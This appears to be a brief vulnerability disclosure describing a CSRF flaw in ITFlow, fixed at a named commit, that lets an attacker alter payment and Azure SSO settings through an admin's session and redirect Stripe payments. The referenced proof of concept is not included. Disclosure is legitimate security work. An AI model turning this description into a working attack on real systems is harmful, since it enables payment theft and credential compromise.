Open source ITFlow was vulnerable to CSRF prior commit 432488eca3998c5be6b6b9e8f8ba01f54bc12378
This vulnerability allowed attacker changing system settings such as online payment details and Microsoft Azure SSO credentials.
If admin user is logged in, we can, using provided PoC redirect him to post.php endpoint and make changes to the system. PoC below makes changes to Stripe related settings, which will lead to attacker receiving payments made through the system.
